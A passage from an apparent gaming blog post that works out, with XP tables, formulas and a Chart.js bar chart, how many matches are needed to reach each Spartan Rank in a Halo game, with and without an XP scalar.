					<td>11</td>
					<td>41,000</td>
					<td>3</td>
					<td>48,000</td>
			</tr>
			<tr>
					<td>12</td>
					<td>47,000</td>
					<td>4</td>
					<td>56,000</td>
			</tr>
			<tr>
					<td>13</td>
					<td>54,500</td>
					<td>4</td>
					<td>64,000</td>
			</tr>
			<tr>
					<td>14</td>
					<td>63,500</td>
					<td>6</td>
					<td>76,000</td>
			</tr>
			<tr>
					<td>15</td>
					<td>74,500</td>
					<td>6</td>
					<td>88,000</td>
			</tr>
			<tr>
					<td>16</td>
					<td>87,000</td>
					<td>7</td>
					<td>102,000</td>
			</tr>
			<tr>
					<td>17</td>
					<td>101,500</td>
					<td>8</td>
					<td>118,000</td>
			</tr>
			<tr>
					<td>18</td>
					<td>118,000</td>
					<td>10</td>
					<td>138,000</td>
			</tr>
			<tr>
					<td>19</td>
					<td>137,000</td>
					<td>11</td>
					<td>160,000</td>
			</tr>
			<tr>
					<td>20</td>
					<td>160,000</td>
					<td>4</td>
					<td>168,000</td>
			</tr>
			<tr>
					<td>21</td>
					<td>167,000</td>
					<td>4</td>
					<td>176,000</td>
			</tr>
			<tr>
					<td>22</td>
					<td>176,000</td>
					<td>6</td>
					<td>188,000</td>
			</tr>
			<tr>
					<td>23</td>
					<td>187,500</td>
					<td>7</td>
					<td>202,000</td>
			</tr>
			<tr>
					<td>24</td>
					<td>201,000</td>
					<td>8</td>
					<td>218,000</td>
			</tr>
			<tr>
					<td>25</td>
					<td>217,000</td>
					<td>9</td>
					<td>236,000</td>
			</tr>
			<tr>
					<td>26</td>
					<td>236,000</td>
					<td>11</td>
					<td>258,000</td>
			</tr>
			<tr>
					<td>27</td>
					<td>258,000</td>
					<td>13</td>
					<td>284,000</td>
			</tr>
			<tr>
					<td>28</td>
					<td>282,500</td>
					<td>13</td>
					<td>310,000</td>
			</tr>
			<tr>
					<td>29</td>
					<td>310,000</td>
					<td>15</td>
					<td>340,000</td>
			</tr>
			<tr>
					<td>30</td>
					<td>340,000</td>
					<td>5</td>
					<td>350,000</td>
			</tr>
			<tr>
					<td>31</td>
					<td>349,500</td>
					<td>6</td>
					<td>362,000</td>
			</tr>
			<tr>
					<td>32</td>
					<td>361,500</td>
					<td>8</td>
					<td>378,000</td>
			</tr>
			<tr>
					<td>33</td>
					<td>376,500</td>
					<td>8</td>
					<td>394,000</td>
			</tr>
			<tr>
					<td>34</td>
					<td>394,000</td>
					<td>11</td>
					<td>416,000</td>
			</tr>
			<tr>
					<td>35</td>
					<td>414,500</td>
					<td>11</td>
					<td>438,000</td>
			</tr>
			<tr>
					<td>36</td>
					<td>438,000</td>
					<td>13</td>
					<td>464,000</td>
			</tr>
			<tr>
					<td>37</td>
					<td>464,000</td>
					<td>15</td>
					<td>494,000</td>
			</tr>
			<tr>
					<td>38</td>
					<td>493,000</td>
					<td>16</td>
					<td>526,000</td>
			</tr>
			<tr>
					<td>39</td>
					<td>525,500</td>
					<td>18</td>
					<td>562,000</td>
			</tr>
			<tr>
					<td>40</td>
					<td>562,000</td>
					<td>6</td>
					<td>574,000</td>
			</tr>
			<tr>
					<td>41</td>
					<td>574,000</td>
					<td>8</td>
					<td>590,000</td>
			</tr>
			<tr>
					<td>42</td>
					<td>589,000</td>
					<td>9</td>
					<td>608,000</td>
			</tr>
			<tr>
					<td>43</td>
					<td>607,500</td>
					<td>11</td>
					<td>630,000</td>
			</tr>
			<tr>
					<td>44</td>
					<td>629,000</td>
					<td>12</td>
					<td>654,000</td>
			</tr>
			<tr>
					<td>45</td>
					<td>654,000</td>
					<td>14</td>
					<td>682,000</td>
			</tr>
			<tr>
					<td>46</td>
					<td>682,000</td>
					<td>16</td>
					<td>714,000</td>
			</tr>
			<tr>
					<td>47</td>
					<td>713,500</td>
					<td>18</td>
					<td>750,000</td>
			</tr>
			<tr>
					<td>48</td>
					<td>748,500</td>
					<td>19</td>
					<td>788,000</td>
			</tr>
			<tr>
					<td>49</td>
					<td>786,500</td>
					<td>20</td>
					<td>828,000</td>
			</tr>
			<tr>
					<td>50</td>
					<td>828,000</td>
					<td>23</td>
					<td>874,000</td>
			</tr>
			<tr>
					<td>51</td>
					<td>873,000</td>
					<td>24</td>
					<td>922,000</td>
			</tr>
			<tr>
					<td>52</td>
					<td>922,000</td>
					<td>27</td>
					<td>976,000</td>
			</tr>
			<tr>
					<td>53</td>
					<td>975,500</td>
					<td>30</td>
					<td>1,036,000</td>
			</tr>
			<tr>
					<td>54</td>
					<td>1,035,000</td>
					<td>32</td>
					<td>1,100,000</td>
			</tr>
			<tr>
					<td>55</td>
					<td>1,100,000</td>
					<td>8</td>
					<td>1,116,000</td>
			</tr>
			<tr>
					<td>56</td>
					<td>1,115,000</td>
					<td>10</td>
					<td>1,136,000</td>
			</tr>
			<tr>
					<td>57</td>
					<td>1,135,000</td>
					<td>10</td>
					<td>1,156,000</td>
			</tr>
			<tr>
					<td>58</td>
					<td>1,155,000</td>
					<td>12</td>
					<td>1,180,000</td>
			</tr>
			<tr>
					<td>59</td>
					<td>1,180,000</td>
					<td>15</td>
					<td>1,210,000</td>
			</tr>
			<tr>
					<td>60</td>
					<td>1,210,000</td>
					<td>18</td>
					<td>1,246,000</td>
			</tr>
			<tr>
					<td>61</td>
					<td>1,245,000</td>
					<td>17</td>
					<td>1,280,000</td>
			</tr>
			<tr>
					<td>62</td>
					<td>1,280,000</td>
					<td>20</td>
					<td>1,320,000</td>
			</tr>
			<tr>
					<td>63</td>
					<td>1,320,000</td>
					<td>23</td>
					<td>1,366,000</td>
			</tr>
			<tr>
					<td>64</td>
					<td>1,365,000</td>
					<td>25</td>
					<td>1,416,000</td>
			</tr>
			<tr>
					<td>65</td>
					<td>1,415,000</td>
					<td>25</td>
					<td>1,466,000</td>
			</tr>
			<tr>
					<td>66</td>
					<td>1,465,000</td>
					<td>27</td>
					<td>1,520,000</td>
			</tr>
			<tr>
					<td>67</td>
					<td>1,520,000</td>
					<td>30</td>
					<td>1,580,000</td>
			</tr>
			<tr>
					<td>68</td>
					<td>1,580,000</td>
					<td>33</td>
					<td>1,646,000</td>
			</tr>
			<tr>
					<td>69</td>
					<td>1,645,000</td>
					<td>37</td>
					<td>1,720,000</td>
			</tr>
			<tr>
					<td>70</td>
					<td>1,720,000</td>
					<td>8</td>
					<td>1,736,000</td>
			</tr>
			<tr>
					<td>71</td>
					<td>1,735,000</td>
					<td>10</td>
					<td>1,756,000</td>
			</tr>
			<tr>
					<td>72</td>
					<td>1,755,000</td>
					<td>12</td>
					<td>1,780,000</td>
			</tr>
			<tr>
					<td>73</td>
					<td>1,780,000</td>
					<td>15</td>
					<td>1,810,000</td>
			</tr>
			<tr>
					<td>74</td>
					<td>1,810,000</td>
					<td>18</td>
					<td>1,846,000</td>
			</tr>
			<tr>
					<td>75</td>
					<td>1,845,000</td>
					<td>20</td>
					<td>1,886,000</td>
			</tr>
			<tr>
					<td>76</td>
					<td>1,885,000</td>
					<td>22</td>
					<td>1,930,000</td>
			</tr>
			<tr>
					<td>77</td>
					<td>1,930,000</td>
					<td>23</td>
					<td>1,976,000</td>
			</tr>
			<tr>
					<td>78</td>
					<td>1,975,000</td>
					<td>25</td>
					<td>2,026,000</td>
			</tr>
			<tr>
					<td>79</td>
					<td>2,025,000</td>
					<td>27</td>
					<td>2,080,000</td>
			</tr>
			<tr>
					<td>80</td>
					<td>2,080,000</td>
					<td>30</td>
					<td>2,140,000</td>
			</tr>
			<tr>
					<td>81</td>
					<td>2,140,000</td>
					<td>33</td>
					<td>2,206,000</td>
			</tr>
			<tr>
					<td>82</td>
					<td>2,205,000</td>
					<td>35</td>
					<td>2,276,000</td>
			</tr>
			<tr>
					<td>83</td>
					<td>2,275,000</td>
					<td>40</td>
					<td>2,356,000</td>
			</tr>
			<tr>
					<td>84</td>
					<td>2,355,000</td>
					<td>42</td>
					<td>2,440,000</td>
			</tr>
			<tr>
					<td>85</td>
					<td>2,440,000</td>
					<td>13</td>
					<td>2,466,000</td>
			</tr>
			<tr>
					<td>86</td>
					<td>2,465,000</td>
					<td>12</td>
					<td>2,490,000</td>
			</tr>
			<tr>
					<td>87</td>
					<td>2,490,000</td>
					<td>15</td>
					<td>2,520,000</td>
			</tr>
			<tr>
					<td>88</td>
					<td>2,520,000</td>
					<td>18</td>
					<td>2,556,000</td>
			</tr>
			<tr>
					<td>89</td>
					<td>2,555,000</td>
					<td>20</td>
					<td>2,596,000</td>
			</tr>
			<tr>
					<td>90</td>
					<td>2,595,000</td>
					<td>22</td>
					<td>2,640,000</td>
			</tr>
			<tr>
					<td>91</td>
					<td>2,640,000</td>
					<td>25</td>
					<td>2,690,000</td>
			</tr>
			<tr>
					<td>92</td>
					<td>2,690,000</td>
					<td>28</td>
					<td>2,746,000</td>
			</tr>
			<tr>
					<td>93</td>
					<td>2,745,000</td>
					<td>30</td>
					<td>2,806,000</td>
			</tr>
			<tr>
					<td>94</td>
					<td>2,805,000</td>
					<td>32</td>
					<td>2,870,000</td>
			</tr>
			<tr>
					<td>95</td>
					<td>2,870,000</td>
					<td>35</td>
					<td>2,940,000</td>
			</tr>
			<tr>
					<td>96</td>
					<td>2,940,000</td>
					<td>38</td>
					<td>3,016,000</td>
			</tr>
			<tr>
					<td>97</td>
					<td>3,015,000</td>
					<td>40</td>
					<td>3,096,000</td>
			</tr>
			<tr>
					<td>98</td>
					<td>3,095,000</td>
					<td>42</td>
					<td>3,180,000</td>
			</tr>
			<tr>
					<td>99</td>
					<td>3,180,000</td>
					<td>45</td>
					<td>3,270,000</td>
			</tr>
			<tr>
					<td>100</td>
					<td>3,270,000</td>
					<td>15</td>
					<td>3,300,000</td>
			</tr>
			<tr>
					<td>101</td>
					<td>3,300,000</td>
					<td>18</td>
					<td>3,336,000</td>
			</tr>
			<tr>
					<td>102</td>
					<td>3,335,000</td>
					<td>20</td>
					<td>3,376,000</td>
			</tr>
			<tr>
					<td>103</td>
					<td>3,375,000</td>
					<td>22</td>
					<td>3,420,000</td>
			</tr>
			<tr>
					<td>104</td>
					<td>3,420,000</td>
					<td>25</td>
					<td>3,470,000</td>
			</tr>
			<tr>
					<td>105</td>
					<td>3,470,000</td>
					<td>30</td>
					<td>3,530,000</td>
			</tr>
			<tr>
					<td>106</td>
					<td>3,530,000</td>
					<td>33</td>
					<td>3,596,000</td>
			</tr>
			<tr>
					<td>107</td>
					<td>3,595,000</td>
					<td>35</td>
					<td>3,666,000</td>
			</tr>
			<tr>
					<td>108</td>
					<td>3,665,000</td>
					<td>37</td>
					<td>3,740,000</td>
			</tr>
			<tr>
					<td>109</td>
					<td>3,740,000</td>
					<td>40</td>
					<td>3,820,000</td>
			</tr>
			<tr>
					<td>110</td>
					<td>3,820,000</td>
					<td>43</td>
					<td>3,906,000</td>
			</tr>
			<tr>
					<td>111</td>
					<td>3,905,000</td>
					<td>45</td>
					<td>3,996,000</td>
			</tr>
			<tr>
					<td>112</td>
					<td>3,995,000</td>
					<td>47</td>
					<td>4,090,000</td>
			</tr>
			<tr>
					<td>113</td>
					<td>4,090,000</td>
					<td>55</td>
					<td>4,200,000</td>
			</tr>
			<tr>
					<td>114</td>
					<td>4,200,000</td>
					<td>60</td>
					<td>4,320,000</td>
			</tr>
			<tr>
					<td>115</td>
					<td>4,320,000</td>
					<td>18</td>
					<td>4,356,000</td>
			</tr>
			<tr>
					<td>116</td>
					<td>4,355,000</td>
					<td>20</td>
					<td>4,396,000</td>
			</tr>
			<tr>
					<td>117</td>
					<td>4,395,000</td>
					<td>22</td>
					<td>4,440,000</td>
			</tr>
			<tr>
					<td>118</td>
					<td>4,440,000</td>
					<td>28</td>
					<td>4,496,000</td>
			</tr>
			<tr>
					<td>119</td>
					<td>4,495,000</td>
					<td>30</td>
					<td>4,556,000</td>
			</tr>
			<tr>
					<td>120</td>
					<td>4,555,000</td>
					<td>32</td>
					<td>4,620,000</td>
			</tr>
			<tr>
					<td>121</td>
					<td>4,620,000</td>
					<td>35</td>
					<td>4,690,000</td>
			</tr>
			<tr>
					<td>122</td>
					<td>4,690,000</td>
					<td>38</td>
					<td>4,766,000</td>
			</tr>
			<tr>
					<td>123</td>
					<td>4,765,000</td>
					<td>40</td>
					<td>4,846,000</td>
			</tr>
			<tr>
					<td>124</td>
					<td>4,845,000</td>
					<td>45</td>
					<td>4,936,000</td>
			</tr>
			<tr>
					<td>125</td>
					<td>4,935,000</td>
					<td>45</td>
					<td>5,026,000</td>
			</tr>
			<tr>
					<td>126</td>
					<td>5,025,000</td>
					<td>47</td>
					<td>5,120,000</td>
			</tr>
			<tr>
					<td>127</td>
					<td>5,120,000</td>
					<td>50</td>
					<td>5,220,000</td>
			</tr>
			<tr>
					<td>128</td>
					<td>5,220,000</td>
					<td>55</td>
					<td>5,330,000</td>
			</tr>
			<tr>
					<td>129</td>
					<td>5,330,000</td>
					<td>73</td>
					<td>5,476,000</td>
			</tr>
			<tr>
					<td>130</td>
					<td>5,475,000</td>
					<td>22</td>
					<td>5,520,000</td>
			</tr>
			<tr>
					<td>131</td>
					<td>5,520,000</td>
					<td>28</td>
					<td>5,576,000</td>
			</tr>
			<tr>
					<td>132</td>
					<td>5,575,000</td>
					<td>32</td>
					<td>5,640,000</td>
			</tr>
			<tr>
					<td>133</td>
					<td>5,640,000</td>
					<td>35</td>
					<td>5,710,000</td>
			</tr>
			<tr>
					<td>134</td>
					<td>5,710,000</td>
					<td>40</td>
					<td>5,790,000</td>
			</tr>
			<tr>
					<td>135</td>
					<td>5,790,000</td>
					<td>45</td>
					<td>5,880,000</td>
			</tr>
			<tr>
					<td>136</td>
					<td>5,880,000</td>
					<td>50</td>
					<td>5,980,000</td>
			</tr>
			<tr>
					<td>137</td>
					<td>5,980,000</td>
					<td>53</td>
					<td>6,086,000</td>
			</tr>
			<tr>
					<td>138</td>
					<td>6,085,000</td>
					<td>57</td>
					<td>6,200,000</td>
			</tr>
			<tr>
					<td>139</td>
					<td>6,200,000</td>
					<td>63</td>
					<td>6,326,000</td>
			</tr>
			<tr>
					<td>140</td>
					<td>6,325,000</td>
					<td>67</td>
					<td>6,460,000</td>
			</tr>
			<tr>
					<td>141</td>
					<td>6,460,000</td>
					<td>78</td>
					<td>6,616,000</td>
			</tr>
			<tr>
					<td>142</td>
					<td>6,615,000</td>
					<td>92</td>
					<td>6,800,000</td>
			</tr>
			<tr>
					<td>143</td>
					<td>6,800,000</td>
					<td>125</td>
					<td>7,050,000</td>
			</tr>
			<tr>
					<td>144</td>
					<td>7,050,000</td>
					<td>350</td>
					<td>7,750,000</td>
			</tr>
			<tr>
					<td>145</td>
					<td>7,750,000</td>
					<td>625</td>
					<td>9,000,000</td>
			</tr>
			<tr>
					<td>146</td>
					<td>9,000,000</td>
					<td>1025</td>
					<td>11,050,000</td>
			</tr>
			<tr>
					<td>147</td>
					<td>11,050,000</td>
					<td>1475</td>
					<td>14,000,000</td>
			</tr>
			<tr>
					<td>148</td>
					<td>14,000,000</td>
					<td>2000</td>
					<td>18,000,000</td>
			</tr>
			<tr>
					<td>149</td>
					<td>18,000,000</td>
					<td>3000</td>
					<td>24,000,000</td>
			</tr>
			<tr>
					<td>150</td>
					<td>24,000,000</td>
					<td>5500</td>
					<td>35,000,000</td>
			</tr>
			<tr>
					<td>151</td>
					<td>35,000,000</td>
					<td>7500</td>
					<td>50,000,000</td>
			</tr>
			<tr>
					<td>152</td>
					<td>50,000,000</td>
					<td>0</td>
					<td>50,000,000</td>
			</tr>
	</tbody>
</table>
<p>If you&rsquo;re a math nerd like me, here are a few formulas to guide you. We compute the matches needed <em>at rank</em> as:</p>
<p>

$$M_r = \left\lceil \frac{XP_{r+1} - XP_{current}}{XP_{match}} \right\rceil$$</p>
<p>Where:</p>
<p>

$$M_r = \text{Matches needed at rank } r$$</p>
<p>

$$XP_{r+1} = \text{Start XP of the next rank}$$</p>
<p>

$$XP_{current} = \text{Current XP when entering rank } r$$</p>
<p>

$$XP_{match} = \text{Fixed XP earned per match (2,000)}$$</p>
<p>

$$\lceil \rceil = \text{Ceiling function (round up)}$$</p>
<p>So, if we take <code>SR10</code> as an example, the filled out formula would look like this:</p>
<p>

$$M_{10} = \left\lceil \frac{XP_{11} - XP_{current}}{XP_{match}} \right\rceil$$</p>
<p>

$$= \left\lceil \frac{41{,}000 - 38{,}000}{2{,}000} \right\rceil$$</p>
<p>

$$= \left\lceil \frac{3{,}000}{2{,}000} \right\rceil$$</p>
<p>

$$= \left\lceil 1. 5 \right\rceil$$</p>
<p>

$$= 2$$</p>
<p>We would need <strong>2 matches</strong> given our past earned experience to hop from <code>SR10</code> to <code>SR11</code>.</p>
<p>Total experience earned per rank would be computed as a sum of total matches per rank times the XP earned per match:</p>
<p>

$$XP_{earned}(r) = \sum_{i=1}^{r} M_i \times XP_{match}$$</p>
<p>Using our <code>SR10</code> example above, the calculation will look like this:</p>
<p>

$$XP_{earned}(10) = \sum_{i=1}^{10} M_i \times XP_{match}$$</p>
<p>

$$= (1 + 1 + 2 + 2 + 1 + 2 + 3 + 3 + 4 + 2) \times 2{,}000$$</p>
<p>

$$= 21 \times 2{,}000$$</p>
<p>

$$= 42{,}000$$</p>
<p>Total matches to reach <code>SR152</code> are <em>significantly</em> simpler to compute here, because we just divide the total earned experience needed by XP per match:</p>
<p>

$$M_{total} = \sum_{r=1}^{151} M_r = \left\lceil \frac{XP_{152}}{XP_{match}} \right\rceil = \left\lceil \frac{50{,}000{,}000}{2{,}000} \right\rceil = 25{,}000$$</p>
<p>Here is what the data looks like if we just decided to chart it out:</p>
<div class="chart">
  
  <canvas id="982735164"></canvas>
  <script type="text/javascript">
    window.addEventListener("DOMContentLoaded", (event) => {
      const ctx = document.getElementById("982735164");
      const chart = new Chart(ctx, {
        
type: 'bar',
data: {
  labels: [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152],
  datasets: [{
    label: 'Matches at Rank',
    data: [1,1,2,2,1,2,3,3,4,2,3,4,4,6,6,7,8,10,11,4,4,6,7,8,9,11,13,13,15,5,6,8,8,11,11,13,15,16,18,6,8,9,11,12,14,16,18,19,20,23,24,27,30,32,8,10,10,12,15,18,17,20,23,25,25,27,30,33,37,8,10,12,15,18,20,22,23,25,27,30,33,35,40,42,13,12,15,18,20,22,25,28,30,32,35,38,40,42,45,15,18,20,22,25,30,33,35,37,40,43,45,47,55,60,18,20,22,28,30,32,35,38,40,45,45,47,50,55,73,22,28,32,35,40,45,50,53,57,63,67,78,92,125,350,625,1025,1475,2000,3000,5500,7500,0],
  }]
},
options: {
    responsive: true,
    aspectRatio: 0.75,
    plugins: {
      legend: {
        position: 'top',
      },
      title: {
        display: true,
        text: 'Matches Required at Each Rank (Without XP Scalar)'
      }
    },
    scales: {
        x: {
          title: {
            display: true,
            text: 'Spartan Rank'
          }
        },
        y: {
          title: {
            display: true,
            text: 'Matches Required'
          }
        }
    }
}

      });
    });
  </script>
</div>

<p>We&rsquo;ll need <strong>25,000 matches</strong> to reach <code>SR152</code>. That&rsquo;s quite a bit of work. If every match is just five minutes long, it would take you 2,083 hours (or 87 days) to get to the top rank while playing non-stop.</p>
<p>Now, let&rsquo;s take a peek what the alternative looks like, when we <em>do</em> have a scalar in play.</p>
<h4 id="matches-required-with-a-scalar" class="relative group">Matches required with a scalar <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#matches-required-with-a-scalar" aria-label="Anchor">#</a></span></h4>
<table>
	<thead>
			<tr>
					<th>Rank</th>
					<th>Start XP</th>
					<th>XP Scalar</th>
					<th>Matches at Rank</th>
					<th>Total XP Earned</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td>1</td>
					<td>0</td>
					<td>1.0</td>
					<td>1</td>
					<td>2,000</td>
			</tr>
			<tr>
					<td>2</td>
					<td>300</td>
					<td>1.0</td>
					<td>1</td>
					<td>4,000</td>
			</tr>
			<tr>
					<td>3</td>
					<td>3,600</td>
					<td>1.0</td>
					<td>2</td>
					<td>8,000</td>
			</tr>
			<tr>
					<td>4</td>
					<td>6,600</td>
					<td>1.05</td>
					<td>2</td>
					<td>12,200</td>
			</tr>
			<tr>
					<td>5</td>
					<td>10,700</td>
					<td>1.1</td>
					<td>1</td>
					<td>14,400</td>
			</tr>
			<tr>
					<td>6</td>
					<td>13,700</td>
					<td>1.15</td>
					<td>2</td>
					<td>19,000</td>
			</tr>
			<tr>
					<td>7</td>
					<td>17,500</td>
					<td>1.2</td>
					<td>2</td>
					<td>23,800</td>
			</tr>
			<tr>
					<td>8</td>
					<td>22,500</td>
					<td>1.25</td>
					<td>2</td>
					<td>28,800</td>
			</tr>
			<tr>
					<td>9</td>
					<td>28,500</td>
					<td>1.3</td>
					<td>4</td>
					<td>39,200</td>
			</tr>
			<tr>
					<td>10</td>
					<td>37,000</td>
					<td>1.35</td>
					<td>1</td>
					<td>41,900</td>
			</tr>
			<tr>
					<td>11</td>
					<td>41,000</td>
					<td>1.4</td>
					<td>2</td>
					<td>47,500</td>
			</tr>
			<tr>
					<td>12</td>
					<td>47,000</td>
					<td>1.44</td>
					<td>3</td>
					<td>56,140</td>
			</tr>
			<tr>
					<td>13</td>
					<td>54,500</td>
					<td>1.48</td>
					<td>3</td>
					<td>65,020</td>
			</tr>
			<tr>
					<td>14</td>
					<td>63,500</td>
					<td>1.52</td>
					<td>4</td>
					<td>77,180</td>
			</tr>
			<tr>
					<td>15</td>
					<td>74,500</td>
					<td>1.56</td>
					<td>4</td>
					<td>89,660</td>
			</tr>
			<tr>
					<td>16</td>
					<td>87,000</td>
					<td>1.59</td>
					<td>4</td>
					<td>102,380</td>
			</tr>
			<tr>
					<td>17</td>
					<td>101,500</td>
					<td>1.62</td>
					<td>5</td>
					<td>118,580</td>
			</tr>
			<tr>
					<td>18</td>
					<td>118,000</td>
					<td>1.65</td>
					<td>6</td>
					<td>138,380</td>
			</tr>
			<tr>
					<td>19</td>
					<td>137,000</td>
					<td>1.68</td>
					<td>7</td>
					<td>161,900</td>
			</tr>
			<tr>
					<td>20</td>
					<td>160,000</td>
					<td>1.71</td>
					<td>2</td>
					<td>168,740</td>
			</tr>
			<tr>
					<td>21</td>
					<td>167,000</td>
					<td>1.74</td>
					<td>3</td>
					<td>179,180</td>
			</tr>
			<tr>
					<td>22</td>
					<td>176,000</td>
					<td>1.76</td>
					<td>3</td>
					<td>189,740</td>
			</tr>
			<tr>
					<td>23</td>
					<td>187,500</td>
					<td>1.78</td>
					<td>4</td>
					<td>203,980</td>
			</tr>
			<tr>
					<td>24</td>
					<td>201,000</td>
					<td>1.8</td>
					<td>4</td>
					<td>218,380</td>
			</tr>
			<tr>
					<td>25</td>
					<td>217,000</td>
					<td>1.82</td>
					<td>5</td>
					<td>236,580</td>
			</tr>
			<tr>
					<td>26</td>
					<td>236,000</td>
					<td>1.84</td>
					<td>6</td>
					<td>258,660</td>
			</tr>
			<tr>
					<td>27</td>
					<td>258,000</td>
					<td>1.85</td>
					<td>7</td>
					<td>284,560</td>
			</tr>
			<tr>
					<td>28</td>
					<td>282,500</td>
					<td>1.86</td>
					<td>7</td>
					<td>310,600</td>
			</tr>
			<tr>
					<td>29</td>
					<td>310,000</td>
					<td>1.87</td>
					<td>8</td>
					<td>340,520</td>
			</tr>
			<tr>
					<td>30</td>
					<td>340,000</td>
					<td>1.88</td>
					<td>3</td>
					<td>351,800</td>
			</tr>
			<tr>
					<td>31</td>
					<td>349,500</td>
					<td>1.89</td>
					<td>3</td>
					<td>363,140</td>
			</tr>
			<tr>
					<td>32</td>
					<td>361,500</td>
					<td>1.9</td>
					<td>4</td>
					<td>378,340</td>
			</tr>
			<tr>
					<td>33</td>
					<td>376,500</td>
					<td>1.91</td>
					<td>5</td>
					<td>397,440</td>
			</tr>
			<tr>
					<td>34</td>
					<td>394,000</td>
					<td>1.92</td>
					<td>5</td>
					<td>416,640</td>
			</tr>
			<tr>
					<td>35</td>
					<td>414,500</td>
					<td>1.93</td>
					<td>6</td>
					<td>439,800</td>
			</tr>
			<tr>
					<td>36</td>
					<td>438,000</td>
					<td>1.94</td>
					<td>7</td>
					<td>466,960</td>
			</tr>
			<tr>
					<td>37</td>
					<td>464,000</td>
					<td>1.95</td>
					<td>7</td>
					<td>494,260</td>
			</tr>
			<tr>
					<td>38</td>
					<td>493,000</td>
					<td>1.96</td>
					<td>8</td>
					<td>525,620</td>
			</tr>
			<tr>
					<td>39</td>
					<td>525,500</td>
					<td>1.97</td>
					<td>10</td>
					<td>565,020</td>
			</tr>
			<tr>
					<td>40</td>
					<td>562,000</td>
					<td>1.98</td>
					<td>3</td>
					<td>576,900</td>
			</tr>
			<tr>
					<td>41</td>
					<td>574,000</td>
					<td>1.99</td>
					<td>4</td>
					<td>592,820</td>
			</tr>
			<tr>
					<td>42</td>
					<td>589,000</td>
					<td>2.0</td>
					<td>4</td>
					<td>608,820</td>
			</tr>
			<tr>
					<td>43</td>
					<td>607,500</td>
					<td>2.0</td>
					<td>6</td>
					<td>632,820</td>
			</tr>
			<tr>
					<td>44</td>
					<td>629,000</td>
					<td>2.01</td>
					<td>6</td>
					<td>656,940</td>
			</tr>
			<tr>
					<td>45</td>
					<td>654,000</td>
					<td>2.01</td>
					<td>7</td>
					<td>685,080</td>
			</tr>
			<tr>
					<td>46</td>
					<td>682,000</td>
					<td>2.02</td>
					<td>8</td>
					<td>717,400</td>
			</tr>
			<tr>
					<td>47</td>
					<td>713,500</td>
					<td>2.02</td>
					<td>8</td>
					<td>749,720</td>
			</tr>
			<tr>
					<td>48</td>
					<td>748,500</td>
					<td>2.03</td>
					<td>10</td>
					<td>790,320</td>
			</tr>
			<tr>
					<td>49</td>
					<td>786,500</td>
					<td>2.03</td>
					<td>10</td>
					<td>830,920</td>
			</tr>
			<tr>
					<td>50</td>
					<td>828,000</td>
					<td>2.035</td>
					<td>11</td>
					<td>875,690</td>
			</tr>
			<tr>
					<td>51</td>
					<td>873,000</td>
					<td>2.04</td>
					<td>12</td>
					<td>924,650</td>
			</tr>
			<tr>
					<td>52</td>
					<td>922,000</td>
					<td>2.045</td>
					<td>13</td>
					<td>977,820</td>
			</tr>
			<tr>
					<td>53</td>
					<td>975,500</td>
					<td>2.05</td>
					<td>14</td>
					<td>1,035,220</td>
			</tr>
			<tr>
					<td>54</td>
					<td>1,035,000</td>
					<td>2.055</td>
					<td>16</td>
					<td>1,100,980</td>
			</tr>
			<tr>
					<td>55</td>
					<td>1,100,000</td>
					<td>2.06</td>
					<td>4</td>
					<td>1,117,460</td>
			</tr>
			<tr>
					<td>56</td>
					<td>1,115,000</td>
					<td>2.065</td>
					<td>5</td>
					<td>1,138,110</td>
			</tr>
			<tr>
					<td>57</td>
					<td>1,135,000</td>
					<td>2.07</td>
					<td>5</td>
					<td>1,158,810</td>
			</tr>
			<tr>
					<td>58</td>
					<td>1,155,000</td>
					<td>2.075</td>
					<td>6</td>
					<td>1,183,710</td>
			</tr>
			<tr>
					<td>59</td>
					<td>1,180,000</td>
					<td>2.08</td>
					<td>7</td>
					<td>1,212,830</td>
			</tr>
			<tr>
					<td>60</td>
					<td>1,210,000</td>
					<td>2.084</td>
					<td>8</td>
					<td>1,246,174</td>
			</tr>
			<tr>
					<td>61</td>
					<td>1,245,000</td>
					<td>2.088</td>
					<td>9</td>
					<td>1,283,758</td>
			</tr>
			<tr>
					<td>62</td>
					<td>1,280,000</td>
					<td>2.092</td>
					<td>9</td>
					<td>1,321,414</td>
			</tr>
			<tr>
					<td>63</td>
					<td>1,320,000</td>
					<td>2.096</td>
					<td>11</td>
					<td>1,367,526</td>
			</tr>
			<tr>
					<td>64</td>
					<td>1,365,000</td>
					<td>2.1</td>
					<td>12</td>
					<td>1,417,926</td>
			</tr>
			<tr>
					<td>65</td>
					<td>1,415,000</td>
					<td>2.104</td>
					<td>12</td>
					<td>1,468,422</td>
			</tr>
			<tr>
					<td>66</td>
					<td>1,465,000</td>
					<td>2.108</td>
					<td>13</td>
					<td>1,523,230</td>
			</tr>
			<tr>
					<td>67</td>
					<td>1,520,000</td>
					<td>2.112</td>
					<td>14</td>
					<td>1,582,366</td>
			</tr>
			<tr>
					<td>68</td>
					<td>1,580,000</td>
					<td>2.116</td>
					<td>15</td>
					<td>1,645,846</td>
			</tr>
			<tr>
					<td>69</td>
					<td>1,645,000</td>
					<td>2.12</td>
					<td>18</td>
					<td>1,722,166</td>
			</tr>
			<tr>
					<td>70</td>
					<td>1,720,000</td>
					<td>2.124</td>
					<td>4</td>
					<td>1,739,158</td>
			</tr>
			<tr>
					<td>71</td>
					<td>1,735,000</td>
					<td>2.127</td>
					<td>4</td>
					<td>1,756,174</td>
			</tr>
			<tr>
					<td>72</td>
					<td>1,755,000</td>
					<td>2.13</td>
					<td>6</td>
					<td>1,781,734</td>
			</tr>
			<tr>
					<td>73</td>
					<td>1,780,000</td>
					<td>2.133</td>
					<td>7</td>
					<td>1,811,596</td>
			</tr>
			<tr>
					<td>74</td>
					<td>1,810,000</td>
					<td>2.136</td>
					<td>8</td>
					<td>1,845,772</td>
			</tr>
			<tr>
					<td>75</td>
					<td>1,845,000</td>
					<td>2.139</td>
